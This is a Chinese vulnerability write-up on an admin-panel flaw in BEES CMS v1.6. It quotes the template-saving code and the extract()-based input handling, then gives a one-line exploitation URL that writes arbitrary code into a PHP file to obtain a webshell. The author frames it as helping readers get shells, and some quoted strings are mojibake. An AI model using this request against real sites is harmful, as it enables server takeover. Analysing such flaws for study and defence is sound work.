BEES 企业网站管理系统 v1.6 后台写 Shell 漏洞

    By:风之传说

    晚上无聊,然后呢到网上搜了下,无意中搜到此系统,于是就有了以下文章,方便大家以后拿SHELL。呵呵~!顺便和大家一起成长,一起学习。

    我会将原程序解释的详细写,以便大家能看到漏洞的形成原因,能更进一步学习。

漏洞文件:/admin/admin_template.php:

define('IN_CMS','true');
include('init.php'); //包含此文件
$action=isset($action)?$action:'template'; //判断
$lang=isset($lang)?$lang:get_lang_main();同上
go_url($action);
.......
.......
.......
function save_template(){
    if(!check_purview('tpl_manage')){msg('<span style="color:red">鎿嶄綔澶辫触,浣犵殑鏉冮檺涓嶈冻!</span>');}
    global $template,$file; //全局变量两个
    $template=stripslashes($template);//还原转义前的字符
    $path=CMS_PATH.$file;  //路径  BY:风之传说
    if(!$fp=@fopen($path,'w+')){err('<span style="color:red"></span>');}
    flock($fp,LOCK_EX);//锁定文件,防止别人控制$fp函数写SHELL。但是我们控制的不是此变量。因此可以绕过。
    fwrite($fp,$template);//写文件。
    flock($fp,LOCK_UN); //解除锁定
    fclose($fp);  //关闭文件
    msg('銆?.$file.'銆戞ā鏉夸慨鏀瑰畬鎴?,'?');
}码

    然后我们看看:/admin/init.php

/admin/init.php:

include(INC_PATH.'fun.php');
unset($HTTP_ENV_VARS, $HTTP_POST_VARS, $HTTP_GET_VARS, $HTTP_POST_FILES, $HTTP_COOKIE_VARS);
if (!get_magic_quotes_gpc())  //检测是否开启了转义 BY:风之传说
{
  if (isset($_REQUEST))
  {
  $_REQUEST= addsl($_REQUEST);  //这个函数是转义的意思。由fun.php定义。
  }
  $_COOKIE = addsl($_COOKIE);
    $_POST = addsl($_POST);
    $_GET = addsl($_GET);
}            //以上都是转义提交的数据。
@extract($_POST);
@extract($_GET);
@extract($_COOKIE);
include(DATA_PATH.'confing.php');

漏洞利用:

    http://localhost/admin/admin_template.php?action=save_template&file=fuck.php&template=代码